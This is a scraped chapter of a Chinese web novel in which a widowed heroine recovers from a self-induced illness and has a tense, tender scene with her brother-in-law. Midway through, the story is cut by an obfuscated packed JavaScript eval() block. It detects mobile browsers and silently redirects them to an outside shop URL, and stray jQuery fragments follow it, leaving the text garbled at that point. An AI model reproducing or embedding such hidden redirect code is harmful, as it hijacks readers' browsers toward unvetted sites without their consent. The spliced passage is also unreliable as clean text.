文趣网 > 其他小说 > 拆姻缘 > 39. 怀抱
    身体浮浮沉沉,陆婉婷宛若一片树叶,顺着溪流漂浮。

    似有阳光从斑驳的树叶间隙漏下,照得她愈发晃眼。

    眼皮一动,她睁开了双眼。

    映入眼帘的是熟悉的床帐,白晃晃一片。侧头看去,春菊正趴在桌上小憩,枕头边有一串白色云母串珠。

    她从被子里勉强伸出手,将那条串珠攥在掌心。

    躺了几天没动弹,身体像长了锈,动起来一卡一卡,手臂都不像是自己的了。

    似乎听到动静,春菊从桌上起身,看到陆婉婷睁着眼,一脸惊喜地冲过来。

    之后就是一顿着急忙慌地嘘寒问暖,叫大夫。

    在大夫来之前,陆婉婷不顾春菊的担忧,执意要先纾解一番,并简单梳洗。

    大夫过来给她把脉,脉象比先前要平和许多。

    人醒了就好办。大夫让她接下来好生静养,注意饮食和休息,应当无生命之忧。

    听了大夫的话,屋里众人都松了口气。

    按春菊所说,陆婉婷已经昏迷了五日。原本众人都不太相信她还能醒过来,没想到她命硬,躺了五天竟真的苏醒了。

    陆婉婷暗道:难怪她身体僵得很,憋得难受。

    陆婉婷问了顾府这几天可有发生什么事,春菊一五一十回答。除了她生病让整个顾府人心惶惶之外,没有其他大事发生。

    “对了,顾二公子从书院回来了。他还陪在您身边,亲自喂药喂粥,对您的安危可上心了。”

    春菊的话印证了陆婉婷的猜测。

    枕边那条串珠,她曾在顾楚泽的腰间见过。可能是他在给她喂药时,不小心落下了。

    几句话的功夫,翠儿送走了大夫从屋外进来。

    陆婉婷见春菊眼下青黑,让春菊去休息,翠儿留下照顾。她身体还有些乏力,喝了点稀粥又躺下了。

    春菊知趣退下,着人去给顾夫人和顾楚泽报信。

    而翠儿等人走开后,一脸担忧地打量陆婉婷。

    “小姐,你可吓死我了。我还真以为你......”

    怕随时会有人过来,陆婉婷打断她,直接问重点:“我生病后,那位可有动静?”

    提到此事,翠儿一脸振奋:“小姐的法子真是高明,那位确实没有动静。汀兰苑里全是人,大夫进进出出,他们也没敢轻举妄动。是不是这一次,咱又躲过去了?只是可怜了小姐,糟了那么多罪。”

    听闻闵公子没有再来,陆婉婷眉头舒展,心里的大石头终于落下了。

    她“病”得严重,无法出门,若事后闵公子再追究,她也有借口推脱。至于对方是否怀疑她病得如此凑巧,她也不顾上了。

    虽然是她设计让自己“重病”,为了逼真,也确实服用了相克且伤身体的方子。为了自保,她属实黔驴技穷了。

    当然为了避免假戏真做伤到自己,陆婉婷也交代了翠儿趁守夜时悄悄给她加一点点解药,把生病的时间拉长,想必闵公子也无法真的冲进顾府将她抓走。

    “小姐,顾二公子也回来了,他看你昏迷在床的那个眼神,真是吓死我了。他是真的担心你,还怕我们照顾不好,亲自守在你身边两天。你醒来前一个时辰他才刚回去休息。要我说,之前的那个提议,小姐你要不再考虑看看?”

    听闻此话,陆婉婷心下一暖,对这个提议有些意动,只是她面上不显。

    刚昏迷醒来,陆婉婷的身子还有些乏,一番折腾后她累了,遂躺回床上休息。

    她手里摩挲着云母串珠,思绪浮浮沉沉,坚定了要试探顾楚泽的心思。

    不知不觉中,她又昏睡过去了。只是这一次,心底多了一分轻松。

    当陆婉婷再次醒来,昏黄的光线投射在床帐上。

    她嗓子干涩,慢吞吞从被窝里爬起来,靠在床头迷迷糊糊间叫了声:“水。”

    下一刻,一杯水递到她眼前。

    她刚要接过来,手沉得如同岩石,抬起来费劲。

    并未等她把手伸出来,那杯水就直接递到她唇边。

    翠儿真用心。

    陆婉婷心里念叨着,就着对方的手将水饮尽。

    当她想夸翠儿伶俐时,却发现捏住杯子的手指骨节分明,刚劲有力。

    她顺着这只大手抬眸看去,眼前是一个高大又沉默的身影。

    这哪里是翠儿,分明是顾楚泽。

    不过是一旬未见,眼前人早已蜕了少年的潇洒跳脱,多了几分成熟青年的气质。如松如雾,更如坚硬的磐石,给人以安全之感。

    他额上的抹额早已取下,露出光洁的额头,剑眉凝起,眼神幽深,叫她一望就被吸了进去。唇上有一点点胡茬,整个人凌冽中带点颓然。

    原本陆婉婷还想笑着打趣顾楚泽,怎么他去一趟书院整个气质都变了。

    话还未说出口,两行热泪先从她眼角滑落。

    似乎这段时间被压在心底的恐慌、委屈,在见到眼前人的一瞬间,直接崩塌。

    她想笑着憋回去,嘴角提了几次却提不起来,胸口堵着股气,在露出一丝裂缝后,一泻千里。

    她也不想哭。

    可她这么努力,为什么总是事情刚要有起色,总有坏人坏事要缠上她?

    为什么她总要战战兢兢看人脸色,为自己的安危未雨绸缪?

    为什么她想找一个依靠这么难?她就不能像其他贵女们轻松过一生吗?难道就因为她不是真正的大家闺秀?

    在她越想越悲伤时,顾楚泽怔忪地瞧着她哭泣,手足无措放下杯子靠近她,用衣袖不断擦拭她的泪水,而她的泪水却越擦越多。

    陆婉婷也不想显得这么软弱,可她终是忍不住了,从静静流泪,到抽抽噎噎哭泣。

    忽地,眼前一暗,一股力道将她拽了过去,她的脸颊贴上了顾楚泽灼热的胸膛。

    陆婉婷绷不住了,嚎啕大哭。

    她像是被包裹在世上最安全的地方,所有危险都被这个怀抱隔绝开来,谁也伤不了她。

    她的心又酸软又温暖,任凭自己融化在顾楚泽的怀里。

    而一双大手在她脑后轻轻抚摸,好似在告诉她“你已经做得很好了,别怕,有我”。

    陆婉婷在他的怀里尽情释放,将他的前襟都泪湿了。脑后的轻抚和身前温热的怀抱,让她沉溺其中,不愿离开。

    听着顾楚泽咚咚有力的心跳声,她的哭声渐消。

    似乎感受她的变化,温热的胸膛向后撤离。

    陆婉婷有些不舍,却也没表现出来。

    接着,温热的指尖抚上她的脸颊。

    陆婉婷愣住了,眼泪都被吓得停了下来。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590563|205440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那指尖顺着她的眼睑抹去,将她的泪水悉数擦去。

    她愣愣地盯着顾楚泽沉默的脸庞,他眼中有她看不明白的怒火和痛惜。

    在她反应过来顾楚泽在对她做什么时,脸颊一热,睫毛扑闪。

    而顾楚泽替她将发丝勾在耳后,摸摸她的头,什么也没说,什么也没问,退了回去。

    好一会儿屋里都没人说话。

    陆婉婷臊得慌,她怎么见到顾楚泽就哭成这样,太丢脸了,他会怎么想她。

    “你哪里疼?让大夫再给你看看?”顾楚泽率先出声。

    陆婉婷整理好了情绪,又回到了以前的样子:“哪里都不疼,只是身子有些乏,并无大碍。不用再去请大夫。”

    顾楚泽盯着她不说话,似乎在判断她说的是否是真的。

    陆婉婷为自己打个圆场:“方才,多谢了。可能是生病后情绪不稳,让你见笑了。”

    顾楚泽目光沉沉:“有事你可以说给我听,不用自己一个人担着。”

    “真的没事~”她故作轻松。

    顾楚泽自嘲:“也是,小爷看起来就这么不值得信任?日后不会了。”

    “啊?”陆婉婷不知为何顾楚泽这样说自己,忙好生劝他不要多想。

    为了缓和气氛,她问他何时回书院,是不是她的病耽误了他的行程。

    顾楚泽似笑非笑睨了她一眼:“你这个病人就安生养病,其他的别多想。至于顾府的事,养着那些人也不是让他们吃干饭的,该让他们干的就都让他们做。让你一个弱女子担起顾府,是我思虑不周。”

    哇,顾楚泽只是去读了一旬的书,竟然大大有长进,都长出一颗良心来了。以前他还弄了五大箱账本来烦她,现在竟知道她辛苦,懂得心疼她了?

    陆婉婷失笑,方才的愤懑委屈尽数消散。

    看来她确实可以试着勾引他。若顾楚泽对她有意,她也不是不考虑换他做为新靠山。而她可以亲手调教他,将他教成她想要的样子。

    “那书院那边?”她还是想知道顾楚泽的计划,她好做下一步打算。

    顾楚泽没给她准确答复:“等府里安顿好了,我再回去。”

    顾楚泽突然倾身向前,在她耳边说:“对了,刚才的事你别误会。大哥虽然没了,可府里还有我。我会替他好好照顾你的,嫂嫂~”

    顾楚泽在她耳边重重说出那两个字,吐出的气息喷在她耳垂上,陆婉婷浑身一震,头皮发麻。

    难道顾楚泽看穿她的意图了?他是在警告她还是什么意思?可她不是还什么都没开始干么。

    怀揣着这样的念头,陆婉婷有些魂不守舍。而顾楚泽又如同无事人一般,盯着下人服侍她,给她端食物和汤药来。

    期间顾夫人来了一趟,见陆婉婷状态尚可,拉着她的手“阿弥陀佛”了半天,说是佛祖保佑。

    顾夫人见顾楚泽在一旁盯着她服药,又有下人围在一旁,连声夸顾楚泽懂事,就安心地回去了。

    直到陆婉婷皱着眉头,将那黑色汤药服下,顾楚泽这才满意地离开。

    夜幕降临,顾楚泽的书房烛光摇曳。

    一个彪悍护卫敲门进来。

    “查出来了?”顾楚泽眸色深沉,护卫在他耳边说了些什么,他的目光宛如利刃穿透门板。

    这一夜,很长。